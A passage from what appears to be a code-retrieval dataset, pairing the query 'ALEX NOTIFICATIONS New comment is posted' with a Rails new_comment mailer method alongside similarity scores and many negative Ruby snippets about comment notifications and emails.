"def notify user\n if self.can_notify? user\n note = Note.new(:from => self, :to => user)\n \n if note.valid?\n note.save\n\n trigger_event_for_user user, \"notification-received\", note\n trigger_event \"notification-sent\", note\n \n if note.to.email != nil and note.to.email != \"\"\n NotificationsMailer.poke(note).deliver\n end\n \n return true\n end\n\n return false\n end\n\n false\n end",
"def can_reply_to(conversation)\n true\n end",
"def receive_replies(connection); end"
] |
[
"0.74379045",
"0.7126488",
"0.71163684",
"0.7109136",
"0.69349974",
"0.69329834",
"0.6927925",
"0.6907534",
"0.6896326",
"0.68674207",
"0.6842413",
"0.6770151",
"0.6737524",
"0.6697668",
"0.6670297",
"0.66652274",
"0.6649622",
"0.6635769",
"0.6590333",
"0.6583199",
"0.6568509",
"0.65679586",
"0.6476778",
"0.6447815",
"0.64140785",
"0.6408725",
"0.6344626",
"0.63343155",
"0.6331448",
"0.6318766",
"0.62719256",
"0.62638474",
"0.62621146",
"0.62541425",
"0.62541425",
"0.625363",
"0.62523824",
"0.6234703",
"0.6206941",
"0.6202607",
"0.61979336",
"0.6183849",
"0.618163",
"0.61804116",
"0.6172916",
"0.6170903",
"0.61617464",
"0.6161463",
"0.61566067",
"0.6147361",
"0.6135323",
"0.6134247",
"0.6134216",
"0.61304325",
"0.6090493",
"0.6083916",
"0.6082188",
"0.6079851",
"0.60790324",
"0.6072457",
"0.6061526",
"0.60558087",
"0.6047215",
"0.6039022",
"0.6033897",
"0.6029999",
"0.6028056",
"0.602367",
"0.60108674",
"0.60053205",
"0.5995711",
"0.5993662",
"0.59930056",
"0.5991545",
"0.5990249",
"0.59685874",
"0.59674525",
"0.5949405",
"0.5943191",
"0.594167",
"0.592116",
"0.5919864",
"0.5919056",
"0.5916892",
"0.59101623",
"0.5908409",
"0.5905863",
"0.59023607",
"0.589529",
"0.5886218",
"0.5884071",
"0.58806723",
"0.58793765",
"0.5878571",
"0.58756965",
"0.587302",
"0.5866349",
"0.586463",
"0.5862695",
"0.5858444"
] |
0.596739
|
77
|
ALEX NOTIFICATIONS New comment is posted
|
def new_comment(commenter_name, body, url)
@commenter_name = commenter_name
@body = body
@url = url
mail to: "Alex Yang <alexyang.personal@gmail.com>",
from: "BaseRails <notifications@baserails.com>",
subject: "#{commenter_name} posted a new comment on BaseRails"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new_comment\n Notifications.new_comment\n end",
"def new_comment_notification(comment)\n\n blog = Post.find comment.post_id\n sender = User.find comment.user_id\n blog_owner = User.find blog.user_id\n #@subscribe = Subscribe.find :all, :conditions => [\"model_id = ? and model_type = ?\",blog.id, \"Post\"],:select => [\"user_id\"]\n #@subscribers = User.find :all, :conditions => [\"id in (?)\",@subscribe], :select => [\"email\"]\n setup_email(blog_owner)\n\n @subject += \"У ваc новый комментарий\"\n\n body[:comment]= comment\n body[:from_who] = sender\n body[:url] = RAILS_URL + \"posts/show/#{comment.post_id}#comments\"\n\n end",
"def new_comment(comment)\n @greeting = \"Hi!\"\n @id = comment.workout.id\n @title = comment.workout.title\n @user = comment.user\n mail to: comment.workout.user.email\n end",
"def notification_of_new_comment(comment, host=nil)\n set_locale comment.listing.author.locale\n subject_string = comment.author.name + \" on kommentoinut ilmoitustasi\"\n url = host ? \"http://#{host}#{listing_path(comment.listing.id)}\" : \"test_url\"\n settings_url = host ? \"http://#{host}#{person_settings_path(comment.listing.author.id)}\" : \"test_url\"\n recipients comment.listing.author.email\n from APP_CONFIG.kassi_mail_from_address\n subject subject_string\n body :comment => comment, :url => url, :settings_url => settings_url, :listing_title => get_title_with_category(comment.listing)\n end",
"def new_comment(comment, commenter, author, question)\n if author.privacy_setting.notify_on_post_comment \n @comment, @commenter, @author, @post = comment, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just commented on your post.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end",
"def new_comment_created(recipient,title,from_mail,from_name,comment, link_to_commentable)\n @notify_subject = \"Your entry '#{title}', was commented by #{from_name}\"\n @comment = comment\n @from_name = from_name\n @from_mail = from_mail\n @link_to_commentable = link_to_commentable\n mail( :from => from_mail,\n :to => [ENV['APPLICATION_CONFIG_admin_notification_address'],recipient].uniq,\n :subjcect => @notify_subject\n )\n end",
"def new_comment_update\n UpdateMailer.new_comment_update\n end",
"def new_comment(comment)\n @comment = comment\n type = @comment.commentable_type.classify\n @commented = type.constantize.find(@comment.commentable_id)\n @recipient = commented.first.user\n\n mail(to: @recipient.email, subject: \"You have a new comment\")\n end",
"def comment\n EventMailer.comment\n end",
"def new_comment(comment, email)\n @comment = comment\n mail(:to => email, :subject => \"El cliente #{@comment.user.fullname} ha dejado un nuevo comentario.\")\n end",
"def create_and_notify\n comment = build\n\n begin\n send_email_notification(comment)\n rescue => e\n puts \"#{e} was raised while attempting to send notification \" +\n \"on #{commentable.class} #{commentable.id} to User #{commentable.user.id}\"\n end\n\n comment\n end",
"def news_comment_added(user, comment)\n news = comment.commented\n redmine_headers 'Project' => news.project.identifier\n @author = comment.author\n message_id comment\n references news\n @news = news\n @comment = comment\n @user = user\n @news_url = url_for(:controller => 'news', :action => 'show', :id => news)\n mail :to => user,\n :subject => \"Re: [#{news.project.name}] #{l(:label_news)}: #{news.title}\"\n end",
"def comment_added(comment)\n @comment = comment\n @user = @comment.user\n @track = @comment.track\n @project = @track.project\n\n mail to: @user.email,\n bcc: \"pierre@sugaryourcoffee.de, #{@project.user.email}\",\n subject: \"[apptrack] New Comment in Project #{@project.title}\"\n end",
"def notify\n reviewers = proposal.reviewers.reject{|r| r.id == user_id }\n Notification.create_for(reviewers, proposal: proposal, message: \"Internal comment on #{proposal.title}\")\n end",
"def create\n if !current_user\n redirect_to login_path\n end\n @request = Request.find(params[:request_id])\n @comment = Comment.new(comment_params)\n current_user.comments << @comment\n @request.comments << @comment\n if @comment.body.length < 1 \n flash[:Error] = \"Comment length : 1-200 characters. Comment length: Cannot be empty.\"\n redirect_to new_comment_path(params[:request_id])\n end\n if @comment.save\n UserMailer.comment_notification(@comment, @request).deliver_now\n flash[:success] = \"Thanks for responding! The person who posted the request will be notified.\"\n redirect_to request_path(params[:request_id])\n else\n flash[:danger] = \"All fields must be filled in to post a comment.\"\n redirect_to new_comment_path(params[:request_id])\n end\n \n end",
"def comment_on_alert(info_request, comment)\n @from = contact_from_name_and_email\n headers 'Return-Path' => blackhole_email, 'Reply-To' => @from, # not much we can do if the user's email is broken\n 'Auto-Submitted' => 'auto-generated' # http://tools.ietf.org/html/rfc3834\n @recipients = info_request.user.name_and_email\n @subject = \"Somebody added a note to your FOI request - \" + info_request.title\n @body = { :comment => comment, :info_request => info_request, :url => main_url(comment_url(comment)) }\n end",
"def new_comment(user, post, comment)\n # New Headers\n headers[\"Message-ID\"] = \"<comments/#{comment.id}@aspsa-bloccit.example>\"\n headers[\"In-Reply-To\"] = \"<post/#{post.id}@aspsa-bloccit.example>\"\n headers[\"References\"] = \"<post/#{post.id}@aspsa-bloccit.example\"\n \n # Checkpoint #55 - Favoriting\n #\n # You'll notice that we define three instance variables to equal local variables, but then never use them. What's going on?\n #\n # ActionMailer follows a similar pattern to Rails controllers: You can define instance variables that will be available to your \"view\" - the content sent in the email.\n @user = user\n @post = post\n @comment = comment\n \n # Checkpoint #55 - Favoriting\n #\n # The most important line in this method is the last. The mail method takes a hash of mail-relevant information - the subject, the to address, the from (we're using the default), and any cc or bcc information you want - and prepares the email to be sent.\n mail(to: user.email, subject: \"New comment on #{post.title}\")\n end",
"def new_comment(comment)\n if comment.commentable.instance_of?(User)\n user_email = comment.commentable.email\n @followlink = profile_url\n elsif comment.commentable.instance_of?(Message)\n user_email = comment.commentable.user.email\n @followlink = message_url(comment.commentable)\n end\n\n @username = comment.user.email\n\n mail :to => user_email, :subject => \"New comment\"\n end",
"def create_notification\n Notification.create(\n notifiable_id: self.post.id, notifiable_type: 'Post', \n notification_type: 'Comment', source_user_id: self.user_id, target_user_hash: {},\n target_user_ids: [self.owner.id] , seen: false, custom_text: self.content)\n Notification.create(\n notifiable_id: self.post.id, notifiable_type: 'Post', \n notification_type: 'FollowedComment', source_user_id: self.user_id, target_user_hash: {},\n target_user_ids: self.notifiable_followers , seen: false, custom_text: self.content)\n end",
"def comment_new_email\n NotificationMailer.comment_new_email('default@email.com')\n end",
"def create\n\t\t@comment = Comment.new(comment_params)\n\t\t@majorpost = Majorpost.find(params[:comment][:majorpost_id])\n\t\t#Detect language\n\t\tif language = CLD.detect_language(@comment.content)\n\t\t\t@comment.locale = language[:code]\n\t\tend\t\t\n\t\tif @comment.update(\n\t\t\tuser_id: current_user.id, \n\t\t\tcampaign_id: @majorpost.campaign_id,\n\t\t\tmajorpost_user_id: @majorpost.user_id,\n\t\t\texcerpt: ActionView::Base.full_sanitizer.sanitize(@comment.content).squish.truncate(140)\n\t\t)\n\t\t\t@majorpost = Majorpost.find(@comment.majorpost_id)\n\t\t\t#Update activity\n\t\t\tif @activity = PublicActivity::Activity.find_by_trackable_id_and_trackable_type(@comment.id,'Comment')\n\t\t\t\t@activity.update_columns(majorpost_id: @comment.majorpost_id)\n\t\t\tend\n\t\t\t#Create notification\n\t\t\tunless @comment.user == @majorpost.user\n\t\t\t\tif @comment.main_comment\n\t\t\t\t\tNotification.create(\n\t\t\t\t\t\tuser_id: @comment.main_comment.user_id,\n\t\t\t\t\t\ttrackable_id: @comment.id,\n\t\t\t\t\t\ttrackable_type: \"Comment\",\n\t\t\t\t\t\tnotification_type: \"reply_create\"\n\t\t\t\t\t)\n\t\t\t\t\tunless @majorpost.user_id == @comment.main_comment.user_id\n\t\t\t\t\t\tNotification.create(\n\t\t\t\t\t\t\tuser_id: @majorpost.user_id,\n\t\t\t\t\t\t\ttrackable_id: @comment.id,\n\t\t\t\t\t\t\ttrackable_type: \"Comment\",\n\t\t\t\t\t\t\tnotification_type: \"comment_create\"\n\t\t\t\t\t\t)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tNotification.create(\n\t\t\t\t\t\tuser_id: @majorpost.user_id,\n\t\t\t\t\t\ttrackable_id: @comment.id,\n\t\t\t\t\t\ttrackable_type: \"Comment\",\n\t\t\t\t\t\tnotification_type: \"comment_create\"\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@new_comment = Comment.new\n\t\t#Create a popover random class for js unique refresh\n\t\t@popoverclass = SecureRandom.hex(16)\t\t\n\t\t#Add score\n\t\tadd_score(@comment.majorpost.user, @comment.user)\t\t\n\tend",
"def send_comment_email\n\t\tNotificationMailer.comment_added(self).deliver_now\n\tend",
"def create\n comment = Comment.new(comment_params)\n\n if comment.save\n flash[:success] = t('flash.comment_added')\n else\n flash[:error] = t('flash.comment_not_added')\n end\n # Publish a message\n current_user.publish(\"Er is een reactie geplaatst\")\n redirect_to :back\n end",
"def new_comment(info)\n @user = info\n\n mail(to: \"mitrihair@gmail.com\", subject: \"Test Email From Website\")\n end",
"def newcomment_mail(comment)\n @comment = comment.contentcom\n @email = User.find(comment.user_id).email\n @fname = User.find(comment.user_id).fname\n @lname = User.find(comment.user_id).lname\n @url = 'http://minervasi.co/login'\n mail(to: [\"request@minervasi.com\"], subject: 'User comment')\n end",
"def news_comment_added_with_change(comment)\n news = comment.commented\n redmine_headers 'Project' => news.project.identifier\n @author = comment.author\n message_id comment\n references news\n @news = news\n @comment = comment\n @news_url = url_for(:controller => 'news', :action => 'show', :id => news)\n mail :to => news.recipients,\n :cc => news.watcher_recipients,\n :subject => \"Re: [#{news.project.to_s}] #{l(:label_news)}: #{news.title}\"\n end",
"def comment_received(comment)\n# @greeting = \"Hi\"\n @comment = comment\n\n mail :to => \"sandorafoods@gmail.com\"\n end",
"def create_comments\n end",
"def create_comments\n end",
"def create_comments\n end",
"def comment_notice(comment)\n @comment = comment\n\n #mail to: \"admin@example.com\", subject: \"新しいコメントが投稿されました。\"\n mail to: \"chibag@gmail.com\", subject: \"新しいコメントが投稿されました。\"\n end",
"def create\n comment = Comment.new(:content => params[:content],\n :user_id => current_user.id,\n :image => avatar_url(current_user),\n :commentable => list,\n :cid => params[:cid])\n status = comment.save ? 201 : 400\n\n unless current_user == list.user\n Notification.new_comment(list.user, current_user, list)\n mentions = get_mentions(params[:content])\n Notification.new_mention(mentions, current_user, list) unless mentions.empty?\n end\n\n head status\n end",
"def new_unmoderated_comment(user_id, comment_id, url_title)\n @user = User.find(user_id)\n @utitle = url_title\n @comment = Comment.find(comment_id)\n\n mail :to => recipient(@user.email), :subject => \"New 25c Testimonial Note for #{@utitle}\"\n end",
"def send_new_comment_email\n\t\tTriggerMailer.new_comment(self).deliver_later\n\tend",
"def send_by_email\n Notifier.new_comment(self).deliver\n end",
"def create\n @event = Event.find_by(id: comment_params[:event_id])\n @cuid = isSignedIn ? current_user.id : nil\n if @event == nil\n redirect_to root_url, notice: \"This event does not exist.\"\n elsif !(@event.private ? (isInvited(@event.id, @cuid) || isAttending(@event.id, @cuid) || @event.user_id == @cuid) : true)\n redirect_to root_url, notice: \"You do not have the correct permissions to comment on this event.\"\n else\n @c = @event.comments.build(comment_params)\n @c.save\n #inform owner of event that there's a new comment, if the owner isn't the poster\n if current_user.id != @event.user_id\n @owner = User.find_by(id: @event.user_id)\n @n = @owner.notifications.build(:user_id => @owner, :title => \"New Comment\", :desc => getName(@event.user_id, @cuid) + \" has commented on your event \" + @event.name + \".\", :sender_id => @event.id, :notification_type => 4)\n @n.save\n end\n redirect_to \"/events/\" + @event.id.to_s + \"#comments\", notice: \"Your comment has been posted.\"\n end\n end",
"def new_comment(rep, c_u, content)\n @current_user = c_u\n @content = content\n @rep = rep\n mail to: rep.user.email, subject: \"Ripetizione per '#{rep.course.name}'\"\n end",
"def trigger_comment(comment) end",
"def on_comment(msg)\n end",
"def create\n @comment.user = current_user\n respond_to do |format|\n if @comment.save\n InformCommitteeMembers.comment_added(@comment)\n\n format.html { redirect_to @comment.discussion, notice: 'Comment was successfully created.' }\n else\n format.html { render \"discussions/show\" }\n end\n end\n end",
"def redmine_add_comment(m, params)\n begin\n \tcertificate = redmine_check_auth(m)\n\t\tif ! certificate\n\t\t\t# ne rien faire, l'utilisateur n'est pas connecté\n\t\telse\n\t\t\tresulted_task = redmine_check_task(m, params, certificate)\n\t\t\tif ! resulted_task.nil?\n\t\t\t\t# Best way to save text line\n\t\t\t\tmessageEntry = params[:message].to_s.strip\n\t\t\t\t# Ajout d'un commentaire\n\t\t\t\tresulted_task.notes = messageEntry\t\n\t\t\t\t# Save an issue\n\t\t\t\tif ! resulted_task.save\n\t\t\t\t\t# on indique à l'utilisateur\n\t\t\t\t\t@bot.say m.replyto, \"#{certificate[:username]}, #{@redmine_l_thetask} ##{resulted_task.id} #{@redmine_l_hasnotbeenupdated}\"\n\t\t\t\telse \n\t\t\t\t\t# on indique à l'utilisateur\n\t\t\t\t\t@bot.say m.replyto, \"#{certificate[:username]}, #{@redmine_l_thetask} ##{resulted_task.id} #{@redmine_l_hasbeenupdated} => #{@redmine_rapid_url}#{@redmine_issue_show_path}/#{resulted_task.id}\"\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tm.reply \"#{@redmine_l_thetask} ##{params[:task]} #{@redmine_l_doesnotexistsinredmine}\"\n\t\t\tend\n\t\tend\n rescue Exception => e\n m.reply e.message\n m.reply e.backtrace.inspect\n end\n end",
"def new_post_notification(post)\n #author\n reciever = User.find_by_id post.user_id\n setup_email(reciever)\n @subject +=\"Новый пост в вашем сообществе\"\n body[:url] = RAILS_URL + \"posts/show/#{post.id}\"\n body[:post] = post\n end",
"def comment\n if logged_in?\n if params[:comment]\n @comment = Comment.new(params[:comment])\n @comment.user_id = current_user.id\n @comment.save\n \n @user = current_user\n \n \t#look up the answerer \n @answer = Question.find(@comment.parent_id)\n @answer_user = User.find(@answer.user_id)\n @notified_user = get_user_to_be_notified(5,@answer_user)\n\n #This will allow this method to send emails for questions and answers\n if(@answer.parentid > 0)\n @question = Question.find(@answer.parentid)\n\n if(@notified_user != nil)\n UserMailer.deliver_new_comment(@answer_user,@comment, @question)\n end\n else\n if(@notified_user != nil)\n UserMailer.deliver_new_comment(@answer_user,@comment, @answer)\n end\n\n end\n \n respond_to do |format|\n flash[:notice] = 'Your comment was submitted successfully.'\n \n format.html { redirect_to(:back)}\n format.xml { render :xml => @comment }\n end\n end\n else\n flash[:notice] = 'Your must login or create an account to comment to a question.'\n redirect_to :controller => 'account', :action => 'login'\n end\n end",
"def new_question(question, recepient)\n if recepient.privacy_setting.notify_on_new_question \n @question, @recepient = question, recepient\n mail(\n :subject => \"#{@question.user.name} just asked a new question.\",\n :from => \"noreply@studyhall.com\",\n :to => recepient.email,\n :date => Time.now\n )\n end\n end",
"def comment_new\n\t cur_emp = get_logged_employee\n\t\t@comment = Comment.new\n\t\tif params[:comment].present?\n\t\t comment = \"COMMENTED: \" + \"\" + params[:comment] + \".\"\n\t\tend\n\t\tif params[:type].present?\n\t\t ctype = params[:type]\n\t\telse\n\t \tctype = \"INTERNAL\"\n\t\tend\n\t\tif params[:id].present?\n\t\t resume_id = params[:id]\n\t\tend\n\t\t@comment.create_comment( comment, resume_id, cur_emp.eid, ctype )\n if ctype == \"USER\"\n respond_to do |format|\n format.html \n \t end\n end\n end",
"def create\n # store that comment for later mailer delivery and channel broadcasting\n comment = @post.comments.create! comments_params\n\n # mailer deliver later\n CommentsMailer.submitted(comment).deliver_later\n\n # render to page in real time using websocket channels\n CommentsChannel.broadcast(comment)\n\n redirect_to @post\n end",
"def comment_moderation(user_id, comment_id, url_title, response)\n @user = User.find(user_id)\n @utitle = url_title\n @comment = Comment.find(comment_id)\n\n mail :to => recipient(@user.email), :subject => \"25c Testimonial Notification for #{@utitle}\"\n end",
"def comment_recieved(comment)\n @comment = comment\n\n mail :to => comment.email_address, :subject => \"KM CMS comment confirmation\"\n end",
"def create_notification\n host = ENV['WEB_CLIENT_HOST']\n url = \"http://#{host}/articles/#{article.id}\"\n\n # Notify the article author of the new comment\n subject = \"#{user.name} علق على مقالك '#{article.title}'\"\n body = \"#{user.name} ترك تعليق على مقالك <a href='#{url}' target='blank'>'#{article.title}'</a>. التعليق هو:\\n\\n <blockquote dir='rtl'>#{self.body}</blockquote>\"\n\n if not user.id.equal? article.user.id\n SendEmailsWorker.perform_async(\n subject, body, article.user_id, self.class.name, self.id)\n end\n\n # Notify any users who have commented on the same section (i.e. guid).\n past_commenters = Comment.where(\n guid: guid).includes(:user).collect(&:user).uniq\n subject = \"#{user.name} علق على مقال '#{article.title}'\"\n body = \"#{user.name} ترك تعليق على مقال <a href='#{url}' target='blank'>'#{article.title}'</a> بعد تعليقك. التعليق هو:\\n\\n <blockquote dir='rtl'>#{self.body}</blockquote>\"\n past_commenters.each do |commenter|\n # Don't notify the owner of the article they already have been notified.\n # Or the user who is adding the current comment.\n if (not commenter.id.equal? article.user.id and\n not commenter.id.equal? user.id)\n SendEmailsWorker.perform_async(\n subject, body, commenter.id, self.class.name, self.id)\n end\n end\n\n end",
"def notification_of_new_comment_to_followed_listing(comment, recipient, host=nil)\n set_locale recipient.locale\n subject_string = comment.author.name + \" on kommentoinut ilmoitusta jota seuraat\"\n url = host ? \"http://#{host}#{listing_path(comment.listing.id)}\" : \"test_url\"\n settings_url = host ? \"http://#{host}#{person_settings_path(recipient.id)}\" : \"test_url\"\n recipients recipient.email\n from APP_CONFIG.kassi_mail_from_address\n subject subject_string\n body :comment => comment, :url => url, :settings_url => settings_url, :listing_title => get_title_with_category(comment.listing)\n end",
"def create\n @comment = @event.comments.new(comment_params)\n if @comment.save\n redirect_to @event, notice: 'Thanks for your comment'\n else\n redirect_to @event, alert: 'Comment failse'\n end\n end",
"def do_new_reply\n @feeditem_id = params['feeditem_id']\n @challenge_id = params['challenge_id']\n @reply_text = params['reply_text']\n ChallengeFeeds.post_comment(dbdc_client, @feeditem_id, @reply_text)\n redirect_to :id => @challenge_id, :action => 'show'\n end",
"def new_answer(answer, commenter, author, question)\n if author.privacy_setting.notify_on_answer\n @answer, @commenter, @author, @question = answer, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just answered your question.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end",
"def comment_notification(user, commenter, post, comment)\n @user = user\n @commenter = commenter\n @post = post\n @comment = comment\n\n mail to: user.email, subject: \"#{commenter.username} has commented on your post!\"\n end",
"def came_comment\n @user = @receiver\n path = \"/#{@comment.commentable_type.downcase.pluralize}/#{@comment.commentable.id}\"\n @notification = @user.notifications.find_by(path: path)\n mail to: @user.email, subject: \"[bootcamp] #{@message}\"\n end",
"def came_comment\n @user = @receiver\n link = \"/#{@comment.commentable_type.downcase.pluralize}/#{@comment.commentable.id}\"\n @notification = @user.notifications.find_by(link: link) || @user.notifications.find_by(link: \"#{link}#latest-comment\")\n mail to: @user.email, subject: \"[FBC] #{@message}\"\n end",
"def create\n commentable = find_commentable_object\n @comment = Comment.build_from(commentable, current_user.id, params[:comment][:body], params[:comment][:title], params[:comment][:send_notification_to_root_comment] )\n \n respond_with do |format|\n if @comment.save\n @comment.moderation_setting = ModerationSetting.create(:published => true, :moderated => false, :refuse_cause => \"-\")\n @comment_created = Comment.set_comment_hash(@comment)\n @comment = Comment.new\n flash.now[:notice] = 'Comment was successfully created.'\n else\n flash.now[:alert] = 'Comment was not successfully created.'\n # @comments = @post.comment_threads\n # @tags = @post.tag_list\n # @votes_result = @post.plusminus\n # render :action => \"posts/show\"\n end\n end\n end",
"def create\n @comment = Comment.new :body => params[:comment][:body],\n :issue => false\n @comment.polycomment_type = params[:polycomment_type]\n @comment.polycomment_id = params[:polycomment_id]\n @comment.user_id = current_user.id \n if @comment.save\n #flash[:notice] = 'Your comment was posted!'\n redirect_to :back\n else\n flash[:alert] = 'Something went wrong, try reposting your comment.'\n end\n end",
"def postmark\n @program_acceptance = ProgramAcceptance.where(message_id: params[:MessageID]).first\n if @program_acceptance\n note = case params[:RecordType]\n when \"Delivery\" then \"Acceptance email delivered to #{params[:Recipient]}.\"\n when \"Bounce\" then \"Acceptance email not delivered to #{params[:Recipient]}.\\n\\n> #{params[:Description]}\"\n when \"SpamComplaint\" then \"Acceptance email to #{params[:Recipient]} flagged as spam.\"\n when \"Open\" then \"Acceptance email opened.\"\n when \"Click\" then \"Link clicked in acceptance email.\"\n end\n @program_acceptance.person.notes.create note_type: \"email-event\", message: note, data: request.request_parameters\n end\n head :ok\n end",
"def create\n @comment = @commentable.wall_comments.new comment_params\n if @comment.save\n @commentable.create_activity :comment, owner: current_user, recipient: @comment if log_activity?\n end\n end",
"def create\n # If user signed in, link comment to user\n if user_signed_in? \n params[:comment][:user_id] = current_user.id\n else\n if @conf.anonymous_comment == false\n redirect_to request.referer, notice: t('You must be logged in to comment')\n return \n end\n # Add http if not present (for anonymous)\n if !params[:comment][:anonymous_url].match /^http:\\/\\//i\n params[:comment][:anonymous_url].insert(0, \"http://\")\n end\n end\n \n # Persist flash variable\n flash[:old_back] = flash[:old_back]\n\n params[:comment][:content] = params[:comment][:content].gsub(/\\n/, '<br>')\n \n @comment = Comment.new(params[:comment])\n \n if USER_REPUTATION == true and @conf.anonymous_comment == false\n article = Article.find(params[:comment][:article_id], :include => 'user')\n if current_user.id != article.user.id\n user = article.user\n user.reputation += REPUTATION_COMMENT\n user.save\n end\n end\n \n respond_to do |format|\n if @comment.save\n format.html { redirect_to request.referer, notice: 'Comment was successfully created.' }\n format.json { render json: @comment, status: :created, location: @comment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @comment = Comment.new(params[:comment])\n @comment.user = current_user\n\n # get the owner of the tutorial\n user = @comment.tutorial.user\n ses = SES.new\n\n mail_args = {:to => user.email,\n :from => APP_CONFIG[:system_notification_email],\n :subject => \"You have a new comment on \\\"#{@comment.tutorial.title}\\\"\",\n :text_body => \"You have a new comment on \\\"#{@comment.tutorial.title}\\\". Click the link to go to the tutorial. http://#{APP_CONFIG[:domain]}#{tutorial_slug @comment.tutorial} . -Paul from the helpmeco.de team.\"}\n resp = ses.send_email(\n mail_args\n )\n\n Rails.logger.info \"email sent: #{mail_args}, resp: #{resp}\"\n\n respond_to do |format|\n if @comment.save\n format.html { redirect_to @comment.tutorial, notice: 'Comment was successfully created.' }\n format.json { render json: @comment, status: :created, location: @comment }\n else\n format.html { render action: \"new\" }\n format.json { render json: @comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def ask_for_recommandations(comment_notification)\n return if (comment_notification.complete? || !comment_notification.user.email_opt_in)\n @structure = comment_notification.structure\n @email = comment_notification.user.email\n @user = comment_notification.user\n @email_text = comment_notification.text\n @comment = @structure.comments.build\n mail to: @email, subject: get_comment_notification_subject(comment_notification), template_name: get_comment_notification_template(comment_notification)\n end",
"def create\n @comment = Comment.new(comment_params)\n\n respond_to do |format|\n if @comment.save\n [\"webmaster@emobile.com.mx\", \"jtorres@emobile.com.mx\", \"dchacon@emobile.com.mx\"].each do |email|\n SupportMailer.new_comment(@comment, email).deliver!\n end\n format.html { redirect_to @comment, notice: t(\"actions.created.male\", model: t(\"activerecord.models.#{controller_name.singularize.gsub(\" \", \"\")}\").downcase) }\n format.json { render action: 'show', status: :created, location: @comment }\n else\n format.html { render action: 'new' }\n format.json { render json: @comment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new_comment(username, body, commentable)\n @username = username\n @body = body\n @commentable = commentable\n\n # mail to all the users subscribed to the thread when a new \n # comment is posted\n sendgrid_recipients = []\n @commentable.subscriptions.each do |subscription|\n sendgrid_recipients << subscription.user.email\n end\n\n mail to: sendgrid_recipients,\n subject: \"#{username} posted a comment to #{commentable.name}\"\n end",
"def create\n repo = Repository.by_name(session[:repository_id])\n patch = repo.patch(params[:comment][:commit_sha])\n\n @comment = Comment.new(params[:comment])\n @comment.commit_diff = CommitDiff.create_or_find(patch)\n @comment.user = @user\n\n respond_to do |wants|\n if @comment.save\n expire_fullsite_caches\n create_notifications(params[:comment])\n\n wants.html { render :action => \"show\" }\n wants.js { render :action => \"show\", :layout => false}\n wants.xml { render :xml => @comment, :status => :created, :location => @comment }\n else\n wants.html { render :action => \"new\" }\n wants.xml { render :xml => @comment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def test05_post_closed_news_FlagNoteComment\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_closed_note)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentFlag\n\t\tsleep 1\n\t\tassert $comment_flag_success.exists?\n\tend",
"def test05_post_open_news_FlagNoteComment\n\t\tlogin $user_1_email, $master_password\n\t\t$browser.goto($patch_news_post_open_note)\n\t\tsleep 2\n\t\tcommentPopSubmit \"Test Comment #{random}\"\n\t\tsleep 2\n\t\tcommentFlag\n\t\tsleep 1\n\t\tassert $comment_flag_success.exists?\n\tend",
"def create\n @comment = Comment.new(params[:comment])\n\n respond_to do |format|\n if verify_recaptcha(:mode => @comment, :message => \"Recaptcha error\") && @comment.save\n Notify.comment(@comment).deliver\n format.html { redirect_to post_path(@comment.post, :anchor => \"comment_#{@comment.id}\"), :notice => t(\"messages.comments.created\") }\n format.xml { render :xml => @comment.post, :status => :created, :location => @comment }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @comment.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_notes\n end",
"def create_notification; end",
"def notify_comment(comment_id)\n puts \"comment parent #{comment_id}\"\n comment = Comment.find comment_id\n\n if comment.parent_id\n parent = Comment.find(comment.parent_id, include:[:user,:article])\n puts parent\n if parent and comment.user_id != parent.user_id\n commented_user= parent.user\n commented_article = parent.article\n\n if commented_user && commented_article\n\n key=\"new_comment.#{commented_article.id}.#{comment.user_id}\"\n notification = Notification.find_by_key(key)\n puts key\n\n if !notification\n Notification.create user_id: commented_user.id,\n key: key,\n content: \"#{commented_article.id}.#{comment.id}\"\n else\n Notification.update(notification.id,\n user_id: commented_user.id,\n key: key,\n content: \"#{commented_article.id}.#{comment.id}\",read:false)\n end\n end\n end\n end\n end",
"def create\n @comment = @commentable.comments.new(params[:comment])\n if @comment.save\n redirect_to [@commentable.event, @commentable], notice: \"Comment added\"\n else\n render :new\n end\n end",
"def create\n @comment = Comment.new(comment_params)\n if @comment.save\n flash[:notice] = \"Your comment successfully created and send to admin for moderation\"\n UserMailer.comment_create(@comment).deliver\n redirect_to posts_url\n else\n flash[:notice] = \"comment can't submit empty\"\n redirect_to posts_url\n end\n end",
"def add_comment(comment); end",
"def create\n usr = User.where(fb_id: params[:user_id]).first\n @comment = Comment.new(\n bet_id: params[:bet_id],\n text: params[:text],\n user: usr\n )\n\n if @comment.save\n # make a list of all possible notification recipients\n list = get_bet_opponents(params[:bet_id])\n list.select! {|uid| uid != params[:user_id]} #filter out the guy who made the notification\n push_notify_users(list, \"#{usr.name} commented on #{User.where(fb_id: @comment.bet.owner).first.name}'s bet!\")\n push_notify_user(@comment.bet.owner, \"#{usr.name} commented on your bet!\") unless params[:user_id] == @comment.bet.owner\n render action: 'show', status: :created, location: @comment\n else\n render json: @comment.errors, status: :unprocessable_entity\n end\n end",
"def edited_comment_notification(user_id, comment_id)\n user = User.find(user_id)\n @comment = Comment.find(comment_id)\n mail(\n :to => user.email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Edited comment on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
